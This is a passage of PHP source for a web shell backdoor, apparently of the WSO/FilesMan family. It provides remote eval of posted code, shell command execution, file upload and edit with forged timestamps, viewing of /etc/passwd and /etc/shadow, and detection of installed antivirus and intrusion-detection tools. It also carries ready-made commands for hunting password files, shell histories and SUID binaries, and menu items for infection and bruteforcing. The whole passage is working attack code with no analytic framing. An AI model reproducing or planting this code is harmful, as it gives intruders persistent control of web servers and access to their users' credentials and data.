}\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert(\'Request error!\');\r\n\t}\r\n</script>\r\n<head><body><div style=\'position:absolute;background-color:rgba(18, 21, 29, 0.48);width:100%;top:0;left:0;\'>\r\n<form method=post name=mf style=\'display:none;\'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";\r\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n\t$totalSpace = $totalSpace?$totalSpace:1;\r\n\t$release = @php_uname(\'r\');\r\n\t$kernel = @php_uname(\'s\');\r\n\t$explink = \'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=\';\r\n\tif(strpos(\'Linux\', $kernel) !== false)\r\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\r\n\telse\r\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\r\n\tif(!function_exists(\'posix_getegid\')) {\r\n\t\t$user = @get_current_user();\r\n\t\t$uid = @getmyuid();\r\n\t\t$gid = @getmygid();\r\n\t\t$group = "?";\r\n\t} else {\r\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\r\n\t\t$gid = @posix_getgrgid(@posix_getegid());\r\n\t\t$user = $uid[\'name\'];\r\n\t\t$uid = $uid[\'uid\'];\r\n\t\t$group = $gid[\'name\'];\r\n\t\t$gid = $gid[\'gid\'];\r\n\t}\r\n\t$cwd_links = \'\';\r\n\t$path = explode("/", $GLOBALS[\'cwd\']);\r\n\t$n=count($path);\r\n\tfor($i=0; $i<$n-1; $i++) {\r\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\r\n\t\tfor($j=0; $j<=$i; $j++)\r\n\t\t\t$cwd_links .= $path[$j].\'/\';\r\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\r\n\t}\r\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n\t$opt_charsets = \'\';\r\n\tforeach($charsets as $microsoft)\r\n\t\t$opt_charsets .= \'<option value="\'.$microsoft.\'" \'.($_POST[\'charset\']==$microsoft?\'selected\':\'\').\'>\'.$microsoft.\'</option>\';\r\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Infect\'=>\'Infect\',\'Sql\'=>\'Sql\',\'Php\'=>\'Php\',\'Safe mode\'=>\'SafeMode\',\'String tools\'=>\'StringTools\',\'Bruteforce\'=>\'Bruteforce\',\'Anonymizer\'=>\'Anonymizer\',\'Network\'=>\'Network\');\r\n\tif(!empty($GLOBALS[\'_password\']))\r\n\t$m[\'Logout\'] = \'Logout\';\r\n\t$m[\'Self remove\'] = \'SelfRemove\';\r\n\t$menu = \'\';\r\n\tforeach($m as $k => $v)\r\n\t\t$menu .= \'<th>[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\r\n\t$drives = "";\r\n\tif ($GLOBALS[\'os\'] == \'win\') {\r\n\t\tforeach(range(\'c\',\'z\') as $drive)\r\n\t\tif (is_dir($drive.\':\\\\\'))\r\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\r\n\t}\r\n\t/* (С) 08.2015 dmkcv */\r\n\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\'.($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\').\'</span></td>\'.\r\n\t\t \'<td><nobr>\'.substr(@php_uname(), 0, 120).\' <a href="http://noreferer.de/?http://www.google.com/search?q=\'.urlencode(@php_uname()).\'" target="_blank">[ Google ]</a> <a href="\'.$explink.\'" target=_blank>[ Exploit-DB ]</a></nobr><br>\'.$uid.\' ( \'.$user.\' ) <span>Group:</span> \'.$gid.\' ( \' .$group. \' )<br>\'.@phpversion().\' <span>Safe mode:</span> \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=#FFDB5F><b>OFF</b></font>\').\' <a href=# onclick="g(\\\'Php\\\',null,null,\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \'.date(\'Y-m-d H:i:s\').\'<br>\'.viewSize($totalSpace).\' <span>Free:</span> \'.viewSize($freeSpace).\' (\'.round(100/($totalSpace/$freeSpace),2).\'%)<br>\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\'.$GLOBALS[\'home_cwd\'].\'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\'.$drives.\'</td>\'.\r\n\t\t \'<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">\'.$opt_charsets.\'</select></label><br><span>Server IP:</span><br>\'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br><span>Client IP:</span><br>\'.$_SERVER[\'REMOTE_ADDR\'].\'</nobr></td></tr></table>\'.\r\n\t\t \'<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>\'.$menu.\'</tr></table><div>\';\r\n}\r\nfunction hardFooter() {\r\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'#FFDB5F\'>[ Writeable ]</font>":" <font color=red>(Not writable)</font>";\r\n    echo "\r\n</div>\r\n<table class=\'info main\' id=toolsTbl cellpadding=3 cellspacing=0>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\r\n\t\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\r\n\t\t<input type=hidden name=ne value=\'\'>\r\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t</body></html>";\r\n}\r\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\r\n\r\n$var_exec = \'exec\';\r\n$var_passthru = \'passthru\';\r\n$var_system = \'system\';\r\n$var_shell_exec = \'shell_exec\';\r\n\r\nfunction ex($in) {\r\n\t$apple = \'\';\r\n\tif (function_exists($var_exec)) {\r\n\t\t@exec($in,$apple);\r\n\t\t$apple = @join("\\n",$apple);\r\n\t} elseif (function_exists($var_passthru)) {\r\n\t\tob_start();\r\n\t\t@passthru($in);\r\n\t\t$apple = ob_get_clean();\r\n\t} elseif (function_exists($var_system)) {\r\n\t\tob_start();\r\n\t\t@system($in);\r\n\t\t$apple = ob_get_clean();\r\n\t} elseif (function_exists($var_shell_exec)) {\r\n\t\t$apple = shell_exec($in);\r\n\t} elseif (is_resource($f = @popen($in,"r"))) {\r\n\t\t$apple = "";\r\n\t\twhile(!@feof($f))\r\n\t\t\t$apple .= fread($f,1024);\r\n\t\tpclose($f);\r\n\t} else return "↳ Unable to execute command\\n";\r\n\treturn ($apple==\'\'?"↳ Query did not return anything\\n":$apple);\r\n}\r\nfunction viewSize($s) {\r\n\tif($s >= 1073741824)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\n\telseif($s >= 1048576)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\n\telseif($s >= 1024)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\n\telse\r\n\t\treturn $s . \' B\';\r\n}\r\nfunction perms($p) {\r\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\r\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\n\telse $i = \'u\';\r\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\n\treturn $i;\r\n}\r\nfunction viewPermsColor($f) {\r\n\tif (!@is_readable($f))\r\n\t\treturn \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telseif (!@is_writable($f))\r\n\t\treturn \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telse\r\n\t\treturn \'<font color=#FFDB5F><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n}\r\nfunction hardScandir($dir) {\r\n    if(function_exists("scandir")) {\r\n        return scandir($dir);\r\n    } else {\r\n        $dh  = opendir($dir);\r\n        while (false !== ($filename = readdir($dh)))\r\n            $files[] = $filename;\r\n        return $files;\r\n    }\r\n}\r\nfunction which($p) {\r\n\t$path = ex(\'which \' . $p);\r\n\tif(!empty($path))\r\n\t\treturn $path;\r\n\treturn false;\r\n}\r\nfunction actionRC() {\r\n\tif(!@$_POST[\'p1\']) {\r\n\t\t$a = array(\r\n\t\t\t"uname" => php_uname(),\r\n\t\t\t"php_version" => phpversion(),\r\n\t\t\t"VERSION" => VERSION,\r\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\r\n\t\t);\r\n\t\techo serialize($a);\r\n\t} else {\r\n\t\teval($_POST[\'p1\']);\r\n\t}\r\n}\r\nfunction prototype($k, $v) {\r\n    $_COOKIE[$k] = $v;\r\n    setcookie($k, $v);\r\n}\r\nfunction actionSecInfo() {\r\n\thardHeader();\r\n\techo \'<h1>Server security information</h1><div class=content>\';\r\n\tfunction showSecParam($n, $v) {\r\n\t\t$v = trim($v);\r\n\t\tif($v) {\r\n\t\t\techo \'<span>\' . $n . \': </span>\';\r\n\t\t\tif(strpos($v, "\\n") === false)\r\n\t\t\t\techo $v . \'<br>\';\r\n\t\t\telse\r\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\r\n\t\t}\r\n\t}\r\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n    if(function_exists(\'apache_get_modules\'))\r\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n\t$temp=array();\r\n\tif(function_exists(\'mysql_get_client_info\'))\r\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\r\n\telse\r\n\t\t$temp[] = "MySql (".mysqli_get_client_info().")";\r\n\tif(function_exists(\'mssql_connect\'))\r\n\t\t$temp[] = "MSSQL";\r\n\tif(function_exists(\'pg_connect\'))\r\n\t\t$temp[] = "PostgreSQL";\r\n\tif(function_exists(\'oci_connect\'))\r\n\t\t$temp[] = "Oracle";\r\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\r\n\techo \'<br>\';\r\n\tif($GLOBALS[\'os\'] == \'nix\') {\r\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n            if(!$GLOBALS[\'safe_mode\']) {\r\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n                echo \'<br>\';\r\n                $temp=array();\r\n                foreach ($userful as $microsoft)\r\n                    if(which($microsoft))\r\n                        $temp[] = $microsoft;\r\n                showSecParam(\'Userful\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($danger as $microsoft)\r\n                    if(which($microsoft))\r\n                        $temp[] = $microsoft;\r\n                showSecParam(\'Danger\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($downloaders as $microsoft)\r\n                    if(which($microsoft))\r\n                        $temp[] = $microsoft;\r\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\r\n                echo \'<br/>\';\r\n                showSecParam(\'HDD space\', ex(\'df -h\'));\r\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\r\n            }\r\n\t} else {\r\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\r\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\r\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n/* (С) 10.2012 Svet */\r\nfunction actionFilesTools() {\r\n\tif( isset($_POST[\'p1\']) )\r\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\r\n\tif(@$_POST[\'p2\']==\'download\') {\r\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\r\n\t\t\tob_start("ob_gzhandler", 4096);\r\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\r\n\t\t\tif (function_exists("mime_content_type")) {\r\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\r\n\t\t\t\theader("Content-Type: " . $type);\r\n\t\t\t} else\r\n                header("Content-Type: application/octet-stream");\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile(!@feof($fp))\r\n\t\t\t\t\techo @fread($fp, 1024);\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\r\n\t\tif(!file_exists($_POST[\'p1\'])) {\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\r\n\t\t\tif($fp) {\r\n\t\t\t\t$_POST[\'p2\'] = "edit";\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\thardHeader();\r\n\techo \'<h1>File tools</h1><div class=content>\';\r\n\tif( !file_exists(@$_POST[\'p1\']) ) {\r\n\t\techo \'File not exists\';\r\n\t\thardFooter();\r\n\t\treturn;\r\n\t}\r\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\r\n\tif(!$uid) {\r\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\r\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\r\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\r\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\r\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\r\n\tif( empty($_POST[\'p2\']) )\r\n\t\t$_POST[\'p2\'] = \'view\';\r\n\tif( is_file($_POST[\'p1\']) )\r\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\r\n\telse\r\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n\tforeach($m as $v)\r\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\r\n\techo \'<br><br>\';\r\n\tswitch($_POST[\'p2\']) {\r\n\t\tcase \'view\':\r\n\t\t\techo \'<pre class=ml1>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</pre>\';\r\n\t\t\tbreak;\r\n\t\tcase \'highlight\':\r\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\r\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\r\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\r\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase \'chmod\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$perms = 0;\r\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\r\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\r\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\r\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'edit\':\r\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\r\n\t\t\t\techo \'File isn\\\'t writeable\';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\r\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\r\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\r\n\t\t\t\tif($fp) {\r\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\r\n\t\t\t\t\t@fclose($fp);\r\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\r\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</textarea><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'hexdump\':\r\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\r\n\t\t\t$n = 0;\r\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\r\n\t\t\t$len = strlen($c);\r\n\t\t\tfor ($i=0; $i<$len; ++$i) {\r\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\n\t\t\t\tswitch ( ord($c[$i]) ) {\r\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\r\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t$n++;\r\n\t\t\t\tif ($n == 32) {\r\n\t\t\t\t\t$n = 0;\r\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n\t\t\t\t\t$h[1] .= \'<br>\';\r\n\t\t\t\t\t$h[2] .= "\\n";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#12151d><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#060a10><pre>\'.$h[1].\'</pre></td><td bgcolor=#12151d><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\r\n\t\t\tbreak;\r\n\t\tcase \'rename\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\r\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'touch\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\r\n\t\t\t\tif($time) {\r\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\r\n\t\t\t\t\t\techo \'Fail!\';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \'Touched!\';\r\n\t\t\t\t} else echo \'Bad time format!\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\t/* (С) 12.2015 mitryz */\r\n\t\tcase \'frame\':\r\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\r\n\t\t\tif ($frameSrc[0] != \'/\')\r\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\r\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\r\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\r\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\r\n\t\t\techo \'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\r\n\t\t\tbreak;\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nif($os == \'win\')\r\n\t$aliases = array(\r\n\t\t"List Directory" => "dir",\r\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\r\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\r\n    \t"Show active connections" => "netstat -an",\r\n    \t"Show running services" => "net start",\r\n    \t"User accounts" => "net user",\r\n    \t"Show computers" => "net view",\r\n\t\t"ARP Table" => "arp -a",\r\n\t\t"IP Configuration" => "ipconfig /all"\r\n\t);\r\nelse\r\n\t$aliases = array(\r\n  \t\t"List dir" => "ls -lha",\r\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\r\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\r\n        "process status" => "ps aux",\r\n\t\t"Find" => "",\r\n  \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\r\n  \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n  \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\r\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n  \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\r\n  \t\t"find config* files" => "find / -type f -name \\"config*\\"",\r\n  \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\r\n  \t\t"find all writable folders and files" => "find / -perm -2 -ls",\r\n  \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\r\n  \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\r\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\r\n  \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\r\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\r\n  \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\r\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\r\n  \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\r\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\r\n\t\t"Locate" => "",\r\n  \t\t"locate httpd.conf files" => "locate httpd.conf",\r\n\t\t"locate vhosts.conf files" => "locate 